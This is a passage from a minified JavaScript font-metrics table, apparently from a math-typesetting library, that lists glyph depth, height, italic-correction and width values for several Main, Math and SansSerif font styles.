44,0,.59111],714:[0,.69444,.08528,0,.59111],715:[0,.69444,0,0,.59111],728:[0,.69444,.10333,0,.59111],729:[0,.69444,.12945,0,.35555],730:[0,.69444,0,0,.94888],732:[0,.69444,.11472,0,.59111],733:[0,.69444,.11472,0,.59111],915:[0,.68611,.12903,0,.69777],916:[0,.68611,0,0,.94444],920:[0,.68611,.09062,0,.88555],923:[0,.68611,0,0,.80666],926:[0,.68611,.15092,0,.76777],928:[0,.68611,.17208,0,.8961],931:[0,.68611,.11431,0,.82666],933:[0,.68611,.10778,0,.88555],934:[0,.68611,.05632,0,.82666],936:[0,.68611,.10778,0,.88555],937:[0,.68611,.0992,0,.82666],8211:[0,.44444,.09811,0,.59111],8212:[0,.44444,.09811,0,1.18221],8216:[0,.69444,.12945,0,.35555],8217:[0,.69444,.12945,0,.35555],8220:[0,.69444,.16772,0,.62055],8221:[0,.69444,.07939,0,.62055]},"Main-Italic":{33:[0,.69444,.12417,0,.30667],34:[0,.69444,.06961,0,.51444],35:[.19444,.69444,.06616,0,.81777],37:[.05556,.75,.13639,0,.81777],38:[0,.69444,.09694,0,.76666],39:[0,.69444,.12417,0,.30667],40:[.25,.75,.16194,0,.40889],41:[.25,.75,.03694,0,.40889],42:[0,.75,.14917,0,.51111],43:[.05667,.56167,.03694,0,.76666],44:[.19444,.10556,0,0,.30667],45:[0,.43056,.02826,0,.35778],46:[0,.10556,0,0,.30667],47:[.25,.75,.16194,0,.51111],48:[0,.64444,.13556,0,.51111],49:[0,.64444,.13556,0,.51111],50:[0,.64444,.13556,0,.51111],51:[0,.64444,.13556,0,.51111],52:[.19444,.64444,.13556,0,.51111],53:[0,.64444,.13556,0,.51111],54:[0,.64444,.13556,0,.51111],55:[.19444,.64444,.13556,0,.51111],56:[0,.64444,.13556,0,.51111],57:[0,.64444,.13556,0,.51111],58:[0,.43056,.0582,0,.30667],59:[.19444,.43056,.0582,0,.30667],61:[-.13313,.36687,.06616,0,.76666],63:[0,.69444,.1225,0,.51111],64:[0,.69444,.09597,0,.76666],65:[0,.68333,0,0,.74333],66:[0,.68333,.10257,0,.70389],67:[0,.68333,.14528,0,.71555],68:[0,.68333,.09403,0,.755],69:[0,.68333,.12028,0,.67833],70:[0,.68333,.13305,0,.65277],71:[0,.68333,.08722,0,.77361],72:[0,.68333,.16389,0,.74333],73:[0,.68333,.15806,0,.38555],74:[0,.68333,.14028,0,.525],75:[0,.68333,.14528,0,.76888],76:[0,.68333,0,0,.62722],77:[0,.68333,.16389,0,.89666],78:[0,.68333,.16389,0,.74333],79:[0,.68333,.09403,0,.76666],80:[0,.68333,.10257,0,.67833],81:[.19444,.68333,.09403,0,.76666],82:[0,.68333,.03868,0,.72944],83:[0,.68333,.11972,0,.56222],84:[0,.68333,.13305,0,.71555],85:[0,.68333,.16389,0,.74333],86:[0,.68333,.18361,0,.74333],87:[0,.68333,.18361,0,.99888],88:[0,.68333,.15806,0,.74333],89:[0,.68333,.19383,0,.74333],90:[0,.68333,.14528,0,.61333],91:[.25,.75,.1875,0,.30667],93:[.25,.75,.10528,0,.30667],94:[0,.69444,.06646,0,.51111],95:[.31,.12056,.09208,0,.51111],97:[0,.43056,.07671,0,.51111],98:[0,.69444,.06312,0,.46],99:[0,.43056,.05653,0,.46],100:[0,.69444,.10333,0,.51111],101:[0,.43056,.07514,0,.46],102:[.19444,.69444,.21194,0,.30667],103:[.19444,.43056,.08847,0,.46],104:[0,.69444,.07671,0,.51111],105:[0,.65536,.1019,0,.30667],106:[.19444,.65536,.14467,0,.30667],107:[0,.69444,.10764,0,.46],108:[0,.69444,.10333,0,.25555],109:[0,.43056,.07671,0,.81777],110:[0,.43056,.07671,0,.56222],111:[0,.43056,.06312,0,.51111],112:[.19444,.43056,.06312,0,.51111],113:[.19444,.43056,.08847,0,.46],114:[0,.43056,.10764,0,.42166],115:[0,.43056,.08208,0,.40889],116:[0,.61508,.09486,0,.33222],117:[0,.43056,.07671,0,.53666],118:[0,.43056,.10764,0,.46],119:[0,.43056,.10764,0,.66444],120:[0,.43056,.12042,0,.46389],121:[.19444,.43056,.08847,0,.48555],122:[0,.43056,.12292,0,.40889],126:[.35,.31786,.11585,0,.51111],163:[0,.69444,0,0,.76909],168:[0,.66786,.10474,0,.51111],176:[0,.69444,0,0,.83129],198:[0,.68333,.12028,0,.88277],216:[.04861,.73194,.09403,0,.76666],223:[.19444,.69444,.10514,0,.53666],230:[0,.43056,.07514,0,.71555],248:[.09722,.52778,.09194,0,.51111],305:[0,.43056,0,.02778,.32246],338:[0,.68333,.12028,0,.98499],339:[0,.43056,.07514,0,.71555],567:[.19444,.43056,0,.08334,.38403],710:[0,.69444,.06646,0,.51111],711:[0,.62847,.08295,0,.51111],713:[0,.56167,.10333,0,.51111],714:[0,.69444,.09694,0,.51111],715:[0,.69444,0,0,.51111],728:[0,.69444,.10806,0,.51111],729:[0,.66786,.11752,0,.30667],730:[0,.69444,0,0,.83129],732:[0,.66786,.11585,0,.51111],733:[0,.69444,.1225,0,.51111],915:[0,.68333,.13305,0,.62722],916:[0,.68333,0,0,.81777],920:[0,.68333,.09403,0,.76666],923:[0,.68333,0,0,.69222],926:[0,.68333,.15294,0,.66444],928:[0,.68333,.16389,0,.74333],931:[0,.68333,.12028,0,.71555],933:[0,.68333,.11111,0,.76666],934:[0,.68333,.05986,0,.71555],936:[0,.68333,.11111,0,.76666],937:[0,.68333,.10257,0,.71555],8211:[0,.43056,.09208,0,.51111],8212:[0,.43056,.09208,0,1.02222],8216:[0,.69444,.12417,0,.30667],8217:[0,.69444,.12417,0,.30667],8220:[0,.69444,.1685,0,.51444],8221:[0,.69444,.06961,0,.51444],8463:[0,.68889,0,0,.54028]},"Main-Regular":{32:[0,0,0,0,0],33:[0,.69444,0,0,.27778],34:[0,.69444,0,0,.5],35:[.19444,.69444,0,0,.83334],36:[.05556,.75,0,0,.5],37:[.05556,.75,0,0,.83334],38:[0,.69444,0,0,.77778],39:[0,.69444,0,0,.27778],40:[.25,.75,0,0,.38889],41:[.25,.75,0,0,.38889],42:[0,.75,0,0,.5],43:[.08333,.58333,0,0,.77778],44:[.19444,.10556,0,0,.27778],45:[0,.43056,0,0,.33333],46:[0,.10556,0,0,.27778],47:[.25,.75,0,0,.5],48:[0,.64444,0,0,.5],49:[0,.64444,0,0,.5],50:[0,.64444,0,0,.5],51:[0,.64444,0,0,.5],52:[0,.64444,0,0,.5],53:[0,.64444,0,0,.5],54:[0,.64444,0,0,.5],55:[0,.64444,0,0,.5],56:[0,.64444,0,0,.5],57:[0,.64444,0,0,.5],58:[0,.43056,0,0,.27778],59:[.19444,.43056,0,0,.27778],60:[.0391,.5391,0,0,.77778],61:[-.13313,.36687,0,0,.77778],62:[.0391,.5391,0,0,.77778],63:[0,.69444,0,0,.47222],64:[0,.69444,0,0,.77778],65:[0,.68333,0,0,.75],66:[0,.68333,0,0,.70834],67:[0,.68333,0,0,.72222],68:[0,.68333,0,0,.76389],69:[0,.68333,0,0,.68056],70:[0,.68333,0,0,.65278],71:[0,.68333,0,0,.78472],72:[0,.68333,0,0,.75],73:[0,.68333,0,0,.36111],74:[0,.68333,0,0,.51389],75:[0,.68333,0,0,.77778],76:[0,.68333,0,0,.625],77:[0,.68333,0,0,.91667],78:[0,.68333,0,0,.75],79:[0,.68333,0,0,.77778],80:[0,.68333,0,0,.68056],81:[.19444,.68333,0,0,.77778],82:[0,.68333,0,0,.73611],83:[0,.68333,0,0,.55556],84:[0,.68333,0,0,.72222],85:[0,.68333,0,0,.75],86:[0,.68333,.01389,0,.75],87:[0,.68333,.01389,0,1.02778],88:[0,.68333,0,0,.75],89:[0,.68333,.025,0,.75],90:[0,.68333,0,0,.61111],91:[.25,.75,0,0,.27778],92:[.25,.75,0,0,.5],93:[.25,.75,0,0,.27778],94:[0,.69444,0,0,.5],95:[.31,.12056,.02778,0,.5],97:[0,.43056,0,0,.5],98:[0,.69444,0,0,.55556],99:[0,.43056,0,0,.44445],100:[0,.69444,0,0,.55556],101:[0,.43056,0,0,.44445],102:[0,.69444,.07778,0,.30556],103:[.19444,.43056,.01389,0,.5],104:[0,.69444,0,0,.55556],105:[0,.66786,0,0,.27778],106:[.19444,.66786,0,0,.30556],107:[0,.69444,0,0,.52778],108:[0,.69444,0,0,.27778],109:[0,.43056,0,0,.83334],110:[0,.43056,0,0,.55556],111:[0,.43056,0,0,.5],112:[.19444,.43056,0,0,.55556],113:[.19444,.43056,0,0,.52778],114:[0,.43056,0,0,.39167],115:[0,.43056,0,0,.39445],116:[0,.61508,0,0,.38889],117:[0,.43056,0,0,.55556],118:[0,.43056,.01389,0,.52778],119:[0,.43056,.01389,0,.72222],120:[0,.43056,0,0,.52778],121:[.19444,.43056,.01389,0,.52778],122:[0,.43056,0,0,.44445],123:[.25,.75,0,0,.5],124:[.25,.75,0,0,.27778],125:[.25,.75,0,0,.5],126:[.35,.31786,0,0,.5],160:[0,0,0,0,0],168:[0,.66786,0,0,.5],172:[0,.43056,0,0,.66667],176:[0,.69444,0,0,.75],177:[.08333,.58333,0,0,.77778],198:[0,.68333,0,0,.90278],215:[.08333,.58333,0,0,.77778],216:[.04861,.73194,0,0,.77778],223:[0,.69444,0,0,.5],230:[0,.43056,0,0,.72222],247:[.08333,.58333,0,0,.77778],248:[.09722,.52778,0,0,.5],305:[0,.43056,0,0,.27778],338:[0,.68333,0,0,1.01389],339:[0,.43056,0,0,.77778],567:[.19444,.43056,0,0,.30556],710:[0,.69444,0,0,.5],711:[0,.62847,0,0,.5],713:[0,.56778,0,0,.5],714:[0,.69444,0,0,.5],715:[0,.69444,0,0,.5],728:[0,.69444,0,0,.5],729:[0,.66786,0,0,.27778],730:[0,.69444,0,0,.75],732:[0,.66786,0,0,.5],733:[0,.69444,0,0,.5],824:[.19444,.69444,0,0,0],915:[0,.68333,0,0,.625],916:[0,.68333,0,0,.83334],920:[0,.68333,0,0,.77778],923:[0,.68333,0,0,.69445],926:[0,.68333,0,0,.66667],928:[0,.68333,0,0,.75],931:[0,.68333,0,0,.72222],933:[0,.68333,0,0,.77778],934:[0,.68333,0,0,.72222],936:[0,.68333,0,0,.77778],937:[0,.68333,0,0,.72222],8211:[0,.43056,.02778,0,.5],8212:[0,.43056,.02778,0,1],8216:[0,.69444,0,0,.27778],8217:[0,.69444,0,0,.27778],8220:[0,.69444,0,0,.5],8221:[0,.69444,0,0,.5],8224:[.19444,.69444,0,0,.44445],8225:[.19444,.69444,0,0,.44445],8230:[0,.12,0,0,1015],8242:[0,.55556,0,0,.275],8407:[0,.71444,.15382,0,.5],8463:[0,.68889,0,0,.54028],8465:[0,.69444,0,0,.72222],8467:[0,.69444,0,.11111,.41667],8472:[.19444,.43056,0,.11111,.63646],8476:[0,.69444,0,0,.72222],8501:[0,.69444,0,0,.61111],8592:[-.13313,.36687,0,0,1],8593:[.19444,.69444,0,0,.5],8594:[-.13313,.36687,0,0,1],8595:[.19444,.69444,0,0,.5],8596:[-.13313,.36687,0,0,1],8597:[.25,.75,0,0,.5],8598:[.19444,.69444,0,0,1],8599:[.19444,.69444,0,0,1],8600:[.19444,.69444,0,0,1],8601:[.19444,.69444,0,0,1],8614:[.011,.511,0,0,889],8617:[.011,.511,0,0,1015],8618:[.011,.511,0,0,1015],8636:[-.13313,.36687,0,0,1],8637:[-.13313,.36687,0,0,1],8640:[-.13313,.36687,0,0,1],8641:[-.13313,.36687,0,0,1],8652:[.011,.671,0,0,889],8656:[-.13313,.36687,0,0,1],8657:[.19444,.69444,0,0,.61111],8658:[-.13313,.36687,0,0,1],8659:[.19444,.69444,0,0,.61111],8660:[-.13313,.36687,0,0,1],8661:[.25,.75,0,0,.61111],8704:[0,.69444,0,0,.55556],8706:[0,.69444,.05556,.08334,.5309],8707:[0,.69444,0,0,.55556],8709:[.05556,.75,0,0,.5],8711:[0,.68333,0,0,.83334],8712:[.0391,.5391,0,0,.66667],8715:[.0391,.5391,0,0,.66667],8722:[.08333,.58333,0,0,.77778],8723:[.08333,.58333,0,0,.77778],8725:[.25,.75,0,0,.5],8726:[.25,.75,0,0,.5],8727:[-.03472,.46528,0,0,.5],8728:[-.05555,.44445,0,0,.5],8729:[-.05555,.44445,0,0,.5],8730:[.2,.8,0,0,.83334],8733:[0,.43056,0,0,.77778],8734:[0,.43056,0,0,1],8736:[0,.69224,0,0,.72222],8739:[.25,.75,0,0,.27778],8741:[.25,.75,0,0,.5],8743:[0,.55556,0,0,.66667],8744:[0,.55556,0,0,.66667],8745:[0,.55556,0,0,.66667],8746:[0,.55556,0,0,.66667],8747:[.19444,.69444,.11111,0,.41667],8764:[-.13313,.36687,0,0,.77778],8768:[.19444,.69444,0,0,.27778],8771:[-.03625,.46375,0,0,.77778],8773:[-.022,.589,0,0,667],8776:[-.01688,.48312,0,0,.77778],8781:[-.03625,.46375,0,0,.77778],8784:[-.133,.67,0,0,666],8800:[.215,.716,0,0,666],8801:[-.03625,.46375,0,0,.77778],8804:[.13597,.63597,0,0,.77778],8805:[.13597,.63597,0,0,.77778],8810:[.0391,.5391,0,0,1],8811:[.0391,.5391,0,0,1],8826:[.0391,.5391,0,0,.77778],8827:[.0391,.5391,0,0,.77778],8834:[.0391,.5391,0,0,.77778],8835:[.0391,.5391,0,0,.77778],8838:[.13597,.63597,0,0,.77778],8839:[.13597,.63597,0,0,.77778],8846:[0,.55556,0,0,.66667],8849:[.13597,.63597,0,0,.77778],8850:[.13597,.63597,0,0,.77778],8851:[0,.55556,0,0,.66667],8852:[0,.55556,0,0,.66667],8853:[.08333,.58333,0,0,.77778],8854:[.08333,.58333,0,0,.77778],8855:[.08333,.58333,0,0,.77778],8856:[.08333,.58333,0,0,.77778],8857:[.08333,.58333,0,0,.77778],8866:[0,.69444,0,0,.61111],8867:[0,.69444,0,0,.61111],8868:[0,.69444,0,0,.77778],8869:[0,.69444,0,0,.77778],8872:[.249,.75,0,0,692],8900:[-.05555,.44445,0,0,.5],8901:[-.05555,.44445,0,0,.27778],8902:[-.03472,.46528,0,0,.5],8904:[.005,.505,0,0,847],8942:[.03,.9,0,0,121],8943:[-.19,.31,0,0,1015],8945:[-.1,.82,0,0,1015],8968:[.25,.75,0,0,.44445],8969:[.25,.75,0,0,.44445],8970:[.25,.75,0,0,.44445],8971:[.25,.75,0,0,.44445],8994:[-.14236,.35764,0,0,1],8995:[-.14236,.35764,0,0,1],9136:[.244,.744,0,0,301],9137:[.244,.744,0,0,301],9651:[.19444,.69444,0,0,.88889],9657:[-.03472,.46528,0,0,.5],9661:[.19444,.69444,0,0,.88889],9667:[-.03472,.46528,0,0,.5],9711:[.19444,.69444,0,0,1],9824:[.12963,.69444,0,0,.77778],9825:[.12963,.69444,0,0,.77778],9826:[.12963,.69444,0,0,.77778],9827:[.12963,.69444,0,0,.77778],9837:[0,.75,0,0,.38889],9838:[.19444,.69444,0,0,.38889],9839:[.19444,.69444,0,0,.38889],10216:[.25,.75,0,0,.38889],10217:[.25,.75,0,0,.38889],10222:[.244,.744,0,0,184],10223:[.244,.744,0,0,184],10229:[.011,.511,0,0,1470],10230:[.011,.511,0,0,1469],10231:[.011,.511,0,0,1748],10232:[.024,.525,0,0,1497],10233:[.024,.525,0,0,1526],10234:[.024,.525,0,0,1746],10236:[.011,.511,0,0,1498],10815:[0,.68333,0,0,.75],10927:[.13597,.63597,0,0,.77778],10928:[.13597,.63597,0,0,.77778]},"Math-BoldItalic":{47:[.19444,.69444,0,0,0],65:[0,.68611,0,0,.86944],66:[0,.68611,.04835,0,.8664],67:[0,.68611,.06979,0,.81694],68:[0,.68611,.03194,0,.93812],69:[0,.68611,.05451,0,.81007],70:[0,.68611,.15972,0,.68889],71:[0,.68611,0,0,.88673],72:[0,.68611,.08229,0,.98229],73:[0,.68611,.07778,0,.51111],74:[0,.68611,.10069,0,.63125],75:[0,.68611,.06979,0,.97118],76:[0,.68611,0,0,.75555],77:[0,.68611,.11424,0,1.14201],78:[0,.68611,.11424,0,.95034],79:[0,.68611,.03194,0,.83666],80:[0,.68611,.15972,0,.72309],81:[.19444,.68611,0,0,.86861],82:[0,.68611,.00421,0,.87235],83:[0,.68611,.05382,0,.69271],84:[0,.68611,.15972,0,.63663],85:[0,.68611,.11424,0,.80027],86:[0,.68611,.25555,0,.67778],87:[0,.68611,.15972,0,1.09305],88:[0,.68611,.07778,0,.94722],89:[0,.68611,.25555,0,.67458],90:[0,.68611,.06979,0,.77257],97:[0,.44444,0,0,.63287],98:[0,.69444,0,0,.52083],99:[0,.44444,0,0,.51342],100:[0,.69444,0,0,.60972],101:[0,.44444,0,0,.55361],102:[.19444,.69444,.11042,0,.56806],103:[.19444,.44444,.03704,0,.5449],104:[0,.69444,0,0,.66759],105:[0,.69326,0,0,.4048],106:[.19444,.69326,.0622,0,.47083],107:[0,.69444,.01852,0,.6037],108:[0,.69444,.0088,0,.34815],109:[0,.44444,0,0,1.0324],110:[0,.44444,0,0,.71296],111:[0,.44444,0,0,.58472],112:[.19444,.44444,0,0,.60092],113:[.19444,.44444,.03704,0,.54213],114:[0,.44444,.03194,0,.5287],115:[0,.44444,0,0,.53125],116:[0,.63492,0,0,.41528],117:[0,.44444,0,0,.68102],118:[0,.44444,.03704,0,.56666],119:[0,.44444,.02778,0,.83148],120:[0,.44444,0,0,.65903],121:[.19444,.44444,.03704,0,.59028],122:[0,.44444,.04213,0,.55509],915:[0,.68611,.15972,0,.65694],916:[0,.68611,0,0,.95833],920:[0,.68611,.03194,0,.86722],923:[0,.68611,0,0,.80555],926:[0,.68611,.07458,0,.84125],928:[0,.68611,.08229,0,.98229],931:[0,.68611,.05451,0,.88507],933:[0,.68611,.15972,0,.67083],934:[0,.68611,0,0,.76666],936:[0,.68611,.11653,0,.71402],937:[0,.68611,.04835,0,.8789],945:[0,.44444,0,0,.76064],946:[.19444,.69444,.03403,0,.65972],947:[.19444,.44444,.06389,0,.59003],948:[0,.69444,.03819,0,.52222],949:[0,.44444,0,0,.52882],950:[.19444,.69444,.06215,0,.50833],951:[.19444,.44444,.03704,0,.6],952:[0,.69444,.03194,0,.5618],953:[0,.44444,0,0,.41204],954:[0,.44444,0,0,.66759],955:[0,.69444,0,0,.67083],956:[.19444,.44444,0,0,.70787],957:[0,.44444,.06898,0,.57685],958:[.19444,.69444,.03021,0,.50833],959:[0,.44444,0,0,.58472],960:[0,.44444,.03704,0,.68241],961:[.19444,.44444,0,0,.6118],962:[.09722,.44444,.07917,0,.42361],963:[0,.44444,.03704,0,.68588],964:[0,.44444,.13472,0,.52083],965:[0,.44444,.03704,0,.63055],966:[.19444,.44444,0,0,.74722],967:[.19444,.44444,0,0,.71805],968:[.19444,.69444,.03704,0,.75833],969:[0,.44444,.03704,0,.71782],977:[0,.69444,0,0,.69155],981:[.19444,.69444,0,0,.7125],982:[0,.44444,.03194,0,.975],1009:[.19444,.44444,0,0,.6118],1013:[0,.44444,0,0,.48333]},"Math-Italic":{47:[.19444,.69444,0,0,0],65:[0,.68333,0,.13889,.75],66:[0,.68333,.05017,.08334,.75851],67:[0,.68333,.07153,.08334,.71472],68:[0,.68333,.02778,.05556,.82792],69:[0,.68333,.05764,.08334,.7382],70:[0,.68333,.13889,.08334,.64306],71:[0,.68333,0,.08334,.78625],72:[0,.68333,.08125,.05556,.83125],73:[0,.68333,.07847,.11111,.43958],74:[0,.68333,.09618,.16667,.55451],75:[0,.68333,.07153,.05556,.84931],76:[0,.68333,0,.02778,.68056],77:[0,.68333,.10903,.08334,.97014],78:[0,.68333,.10903,.08334,.80347],79:[0,.68333,.02778,.08334,.76278],80:[0,.68333,.13889,.08334,.64201],81:[.19444,.68333,0,.08334,.79056],82:[0,.68333,.00773,.08334,.75929],83:[0,.68333,.05764,.08334,.6132],84:[0,.68333,.13889,.08334,.58438],85:[0,.68333,.10903,.02778,.68278],86:[0,.68333,.22222,0,.58333],87:[0,.68333,.13889,0,.94445],88:[0,.68333,.07847,.08334,.82847],89:[0,.68333,.22222,0,.58056],90:[0,.68333,.07153,.08334,.68264],97:[0,.43056,0,0,.52859],98:[0,.69444,0,0,.42917],99:[0,.43056,0,.05556,.43276],100:[0,.69444,0,.16667,.52049],101:[0,.43056,0,.05556,.46563],102:[.19444,.69444,.10764,.16667,.48959],103:[.19444,.43056,.03588,.02778,.47697],104:[0,.69444,0,0,.57616],105:[0,.65952,0,0,.34451],106:[.19444,.65952,.05724,0,.41181],107:[0,.69444,.03148,0,.5206],108:[0,.69444,.01968,.08334,.29838],109:[0,.43056,0,0,.87801],110:[0,.43056,0,0,.60023],111:[0,.43056,0,.05556,.48472],112:[.19444,.43056,0,.08334,.50313],113:[.19444,.43056,.03588,.08334,.44641],114:[0,.43056,.02778,.05556,.45116],115:[0,.43056,0,.05556,.46875],116:[0,.61508,0,.08334,.36111],117:[0,.43056,0,.02778,.57246],118:[0,.43056,.03588,.02778,.48472],119:[0,.43056,.02691,.08334,.71592],120:[0,.43056,0,.02778,.57153],121:[.19444,.43056,.03588,.05556,.49028],122:[0,.43056,.04398,.05556,.46505],915:[0,.68333,.13889,.08334,.61528],916:[0,.68333,0,.16667,.83334],920:[0,.68333,.02778,.08334,.76278],923:[0,.68333,0,.16667,.69445],926:[0,.68333,.07569,.08334,.74236],928:[0,.68333,.08125,.05556,.83125],931:[0,.68333,.05764,.08334,.77986],933:[0,.68333,.13889,.05556,.58333],934:[0,.68333,0,.08334,.66667],936:[0,.68333,.11,.05556,.61222],937:[0,.68333,.05017,.08334,.7724],945:[0,.43056,.0037,.02778,.6397],946:[.19444,.69444,.05278,.08334,.56563],947:[.19444,.43056,.05556,0,.51773],948:[0,.69444,.03785,.05556,.44444],949:[0,.43056,0,.08334,.46632],950:[.19444,.69444,.07378,.08334,.4375],951:[.19444,.43056,.03588,.05556,.49653],952:[0,.69444,.02778,.08334,.46944],953:[0,.43056,0,.05556,.35394],954:[0,.43056,0,0,.57616],955:[0,.69444,0,0,.58334],956:[.19444,.43056,0,.02778,.60255],957:[0,.43056,.06366,.02778,.49398],958:[.19444,.69444,.04601,.11111,.4375],959:[0,.43056,0,.05556,.48472],960:[0,.43056,.03588,0,.57003],961:[.19444,.43056,0,.08334,.51702],962:[.09722,.43056,.07986,.08334,.36285],963:[0,.43056,.03588,0,.57141],964:[0,.43056,.1132,.02778,.43715],965:[0,.43056,.03588,.02778,.54028],966:[.19444,.43056,0,.08334,.65417],967:[.19444,.43056,0,.05556,.62569],968:[.19444,.69444,.03588,.11111,.65139],969:[0,.43056,.03588,0,.62245],977:[0,.69444,0,.08334,.59144],981:[.19444,.69444,0,.08334,.59583],982:[0,.43056,.02778,0,.82813],1009:[.19444,.43056,0,.08334,.51702],1013:[0,.43056,0,.05556,.4059]},"Math-Regular":{65:[0,.68333,0,.13889,.75],66:[0,.68333,.05017,.08334,.75851],67:[0,.68333,.07153,.08334,.71472],68:[0,.68333,.02778,.05556,.82792],69:[0,.68333,.05764,.08334,.7382],70:[0,.68333,.13889,.08334,.64306],71:[0,.68333,0,.08334,.78625],72:[0,.68333,.08125,.05556,.83125],73:[0,.68333,.07847,.11111,.43958],74:[0,.68333,.09618,.16667,.55451],75:[0,.68333,.07153,.05556,.84931],76:[0,.68333,0,.02778,.68056],77:[0,.68333,.10903,.08334,.97014],78:[0,.68333,.10903,.08334,.80347],79:[0,.68333,.02778,.08334,.76278],80:[0,.68333,.13889,.08334,.64201],81:[.19444,.68333,0,.08334,.79056],82:[0,.68333,.00773,.08334,.75929],83:[0,.68333,.05764,.08334,.6132],84:[0,.68333,.13889,.08334,.58438],85:[0,.68333,.10903,.02778,.68278],86:[0,.68333,.22222,0,.58333],87:[0,.68333,.13889,0,.94445],88:[0,.68333,.07847,.08334,.82847],89:[0,.68333,.22222,0,.58056],90:[0,.68333,.07153,.08334,.68264],97:[0,.43056,0,0,.52859],98:[0,.69444,0,0,.42917],99:[0,.43056,0,.05556,.43276],100:[0,.69444,0,.16667,.52049],101:[0,.43056,0,.05556,.46563],102:[.19444,.69444,.10764,.16667,.48959],103:[.19444,.43056,.03588,.02778,.47697],104:[0,.69444,0,0,.57616],105:[0,.65952,0,0,.34451],106:[.19444,.65952,.05724,0,.41181],107:[0,.69444,.03148,0,.5206],108:[0,.69444,.01968,.08334,.29838],109:[0,.43056,0,0,.87801],110:[0,.43056,0,0,.60023],111:[0,.43056,0,.05556,.48472],112:[.19444,.43056,0,.08334,.50313],113:[.19444,.43056,.03588,.08334,.44641],114:[0,.43056,.02778,.05556,.45116],115:[0,.43056,0,.05556,.46875],116:[0,.61508,0,.08334,.36111],117:[0,.43056,0,.02778,.57246],118:[0,.43056,.03588,.02778,.48472],119:[0,.43056,.02691,.08334,.71592],120:[0,.43056,0,.02778,.57153],121:[.19444,.43056,.03588,.05556,.49028],122:[0,.43056,.04398,.05556,.46505],915:[0,.68333,.13889,.08334,.61528],916:[0,.68333,0,.16667,.83334],920:[0,.68333,.02778,.08334,.76278],923:[0,.68333,0,.16667,.69445],926:[0,.68333,.07569,.08334,.74236],928:[0,.68333,.08125,.05556,.83125],931:[0,.68333,.05764,.08334,.77986],933:[0,.68333,.13889,.05556,.58333],934:[0,.68333,0,.08334,.66667],936:[0,.68333,.11,.05556,.61222],937:[0,.68333,.05017,.08334,.7724],945:[0,.43056,.0037,.02778,.6397],946:[.19444,.69444,.05278,.08334,.56563],947:[.19444,.43056,.05556,0,.51773],948:[0,.69444,.03785,.05556,.44444],949:[0,.43056,0,.08334,.46632],950:[.19444,.69444,.07378,.08334,.4375],951:[.19444,.43056,.03588,.05556,.49653],952:[0,.69444,.02778,.08334,.46944],953:[0,.43056,0,.05556,.35394],954:[0,.43056,0,0,.57616],955:[0,.69444,0,0,.58334],956:[.19444,.43056,0,.02778,.60255],957:[0,.43056,.06366,.02778,.49398],958:[.19444,.69444,.04601,.11111,.4375],959:[0,.43056,0,.05556,.48472],960:[0,.43056,.03588,0,.57003],961:[.19444,.43056,0,.08334,.51702],962:[.09722,.43056,.07986,.08334,.36285],963:[0,.43056,.03588,0,.57141],964:[0,.43056,.1132,.02778,.43715],965:[0,.43056,.03588,.02778,.54028],966:[.19444,.43056,0,.08334,.65417],967:[.19444,.43056,0,.05556,.62569],968:[.19444,.69444,.03588,.11111,.65139],969:[0,.43056,.03588,0,.62245],977:[0,.69444,0,.08334,.59144],981:[.19444,.69444,0,.08334,.59583],982:[0,.43056,.02778,0,.82813],1009:[.19444,.43056,0,.08334,.51702],1013:[0,.43056,0,.05556,.4059]},"SansSerif-Bold":{33:[0,.69444,0,0,.36667],34:[0,.69444,0,0,.55834],35:[.19444,.69444,0,0,.91667],36:[.05556,.75,0,0,.55],37:[.05556,.75,0,0,1.02912],38:[0,.69444,0,0,.83056],39:[0,.69444,0,0,.30556],40:[.25,.75,0,0,.42778],41:[.25,.75,0,0,.42778],42:[0,.75,0,0,.55],43:[.11667,.61667,0,0,.85556],44:[.10556,.13056,0,0,.30556],45:[0,.45833,0,0,.36667],46:[0,.13056,0,0,.30556],47:[.25,.75,0,0,.55],48:[0,.69444,0,0,.55],49:[0,.69444,0,0,.55],50:[0,.69444,0,0,.55],51:[0,.69444,0,0,.55],52:[0,.69444,0,0,.55],53:[0,.69444,0,0,.55],54:[0,.69444,0,0,.55],55:[0,.69444,0,0,.55],56:[0,.69444,0,0,.55],57:[0,.69444,0,0,.55],58:[0,.45833,0,0,.30556],59:[.10556,.45833,0,0,.30556],61:[-.09375,.40625,0,0,.85556],63:[0,.69444,0,0,.51945],64:[0,.69444,0,0,.73334],65:[0,.69444,0,0,.73334],66:[0,.69444,0,0,.73334],67:[0,.69444,0,0,.70278],68:[0,.69444,0,0,.79445],69:[0,.69444,0,0,.64167],70:[0,.69444,0,0,.61111],71:[0,.69444,0,0,.73334],72:[0,.69444,0,0,.79445],73:[0,.69444,0,0,.33056],74:[0,.69444,0,0,.51945],75:[0,.69444,0,0,.76389],76:[0,.69444,0,0,.58056],77:[0,.69444,0,0,.97778],78:[0,.69444,0,0,.79445],79:[0,.69444,0,0,.79445],80:[0,.69444,0,0,.70278],81:[.10556,.69444,0,0,.79445],82:[0,.69444,0,0,.70278],83:[0,.69444,0,0,.61111],84:[0,.69444,0,0,.73334],85:[0,.69444,0,0,.76389],86:[0,.69444,.01528,0,.73334],87:[0,.69444,.01528,0,1.03889],88:[0,.69444,0,0,.73334],89:[0,.69444,.0275,0,.73334],90:[0,.69444,0,0,.67223],91:[.25,.75,0,0,.34306],93:[.25,.75,0,0,.34306],94:[0,.69444,0,0,.55],95:[.35,.10833,.03056,0,.55],97:[0,.45833,0,0,.525],98:[0,.69444,0,0,.56111],99:[0,.45833,0,0,.48889],100:[0,.69444,0,0,.56111],101:[0,.45833,0,0,.51111],102:[0,.69444,.07639,0,.33611],103:[.19444,.45833,.01528,0,.55],104:[0,.69444,0,0,.56111],105:[0,.69444,0,0,.25556],106:[.19444,.69444,0,0,.28611],107:[0,.69444,0,0,.53056],108:[0,.69444,0,0,.25556],109:[0,.45833,0,0,.86667],110:[0,.45833,0,0,.56111],111:[0,.45833,0,0,.55],112:[.19444,.45833,0,0,.56111],113:[.19444,.45833,0,0,.56111],114:[0,.45833,.01528,0,.37222],115:[0,.45833,0,0,.42167],116:[0,.58929,0,0,.40417],117:[0,.45833,0,0,.56111],118:[0,.45833,.01528,0,.5],119:[0,.45833,.01528,0,.74445],120:[0,.45833,0,0,.5],121:[.19444,.45833,.01528,0,.5],122:[0,.45833,0,0,.47639],126:[.35,.34444,0,0,.55],168:[0,.69444,0,0,.55],176:[0,.69444,0,0,.73334],180:[0,.69444,0,0,.55],305:[0,.45833,0,0,.25556],567:[.19444,.45833,0,0,.28611],710:[0,.69444,0,0,.55],711:[0,.63542,0,0,.55],713:[0,.63778,0,0,.55],728: